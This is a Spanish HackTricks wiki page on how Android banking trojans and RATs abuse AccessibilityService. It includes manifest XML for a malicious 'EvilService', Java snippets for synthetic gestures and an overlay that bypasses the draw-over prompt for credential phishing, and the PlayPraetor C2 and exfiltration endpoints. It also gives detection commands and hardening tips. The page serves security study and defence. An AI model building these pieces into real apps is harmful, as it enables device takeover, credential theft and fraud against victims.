Abuso del Servicio de Accesibilidad de Android
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Descripción general
AccessibilityService
fue creado para ayudar a los usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas APIs de automatización poderosas (navegación global, entrada de texto, despacho de gestos, ventanas superpuestas…) pueden ser utilizadas por malware para obtener control remoto completo del dispositivo sin privilegios de root.
Los troyanos bancarios modernos de Android y los troyanos de acceso remoto (RATs) como PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda y muchos otros siguen la misma receta:
- Engañar socialmente a la víctima para que habilite un servicio de accesibilidad malicioso (el permiso BIND_ACCESSIBILITY_SERVICE se considera "de alto riesgo" y requiere una acción explícita del usuario).
- Aprovechar el servicio para
- capturar cada evento de UI y texto que aparece en la pantalla,
- inyectar gestos sintéticos (
dispatchGesture
) y acciones globales (performGlobalAction
) para automatizar cualquier tarea que desee el operador, - dibujar superposiciones de pantalla completa sobre aplicaciones legítimas utilizando el tipo de ventana TYPE_ACCESSIBILITY_OVERLAY (¡sin aviso de
SYSTEM_ALERT_WINDOW
!), - otorgar silenciosamente permisos adicionales en tiempo de ejecución haciendo clic en los diálogos del sistema en nombre de la víctima.
- Exfiltrar datos o realizar Fraude en el Dispositivo (ODF) en tiempo real mientras el usuario está mirando una pantalla perfectamente normal.
Solicitar el permiso
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
El XML compañero define cómo se verá el diálogo falso:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitivas de automatización de UI remota
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Con solo estas dos API, un atacante puede:
- Desbloquear la pantalla, abrir la aplicación bancaria, navegar por su árbol de interfaz de usuario y enviar un formulario de transferencia.
- Aceptar cada diálogo de permiso que aparezca.
- Instalar/actualizar APKs adicionales a través de la intención de Play Store.
Patrones de abuso
1. Phishing por superposición (Recolección de credenciales)
Se añade un WebView
transparente u opaco al administrador de ventanas:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
La víctima introduce credenciales en el formulario falso mientras la aplicación en segundo plano recibe los mismos gestos; nunca se muestra un aviso sospechoso de "dibujar sobre otras aplicaciones".
Ejemplo detallado: la sección Accessibility Overlay Phishing dentro de la página de Tapjacking.
2. Automatización de fraude en el dispositivo
Familias de malware como PlayPraetor mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (init
, update
, alert_arr
, report_list
, …). El servicio traduce esos comandos en los gestos de bajo nivel mencionados, logrando transacciones no autorizadas en tiempo real que evaden fácilmente la autenticación multifactor vinculada a ese mismo dispositivo.
3. Transmisión y monitoreo de pantalla
Al combinar la MediaProjection API con una biblioteca cliente RTMP, el RAT puede transmitir el framebuffer en vivo a rtmp://<c2>:1935/live/<device_id>
, brindando al adversario una perfecta conciencia situacional mientras el motor de Accesibilidad controla la interfaz de usuario.
PlayPraetor – flujo de trabajo de comando y control
- HTTP(S) heartbeat – iterar sobre una lista codificada hasta que un dominio responda
POST /app/searchPackageName
con el C2 activo. - WebSocket (puerto 8282) – comandos JSON bidireccionales:
update
– enviar nuevas conf/APKsalert_arr
– configurar plantillas de superposiciónreport_list
– enviar lista de nombres de paquetes objetivoheartbeat_web
– mantener vivo
- RTMP (puerto 1935) – transmisión de pantalla/video en vivo.
- Exfiltración REST –
/app/saveDevice
(huella digital)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(credenciales bancarias)
El AccessibilityService es el motor local que convierte esos comandos en la nube en interacciones físicas.
Detección de servicios de accesibilidad maliciosos
adb shell settings get secure enabled_accessibility_services
- Configuración → Accesibilidad → Servicios descargados – buscar aplicaciones que no son de Google Play.
- Las soluciones MDM / EMM pueden hacer cumplir
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) para bloquear servicios instalados manualmente. - Analizar servicios en ejecución:
adb shell dumpsys accessibility | grep "Accessibility Service"
Recomendaciones de endurecimiento para desarrolladores de aplicaciones
- Marcar vistas sensibles con
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Combinar
setFilterTouchesWhenObscured(true)
conFLAG_SECURE
para prevenir el secuestro de toques/superposiciones. - Detectar superposiciones consultando
WindowManager.getDefaultDisplay().getFlags()
o la APIViewRootImpl
. - Negarse a operar cuando
Settings.canDrawOverlays()
o un servicio de Accesibilidad no confiable está activo.
Referencias
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.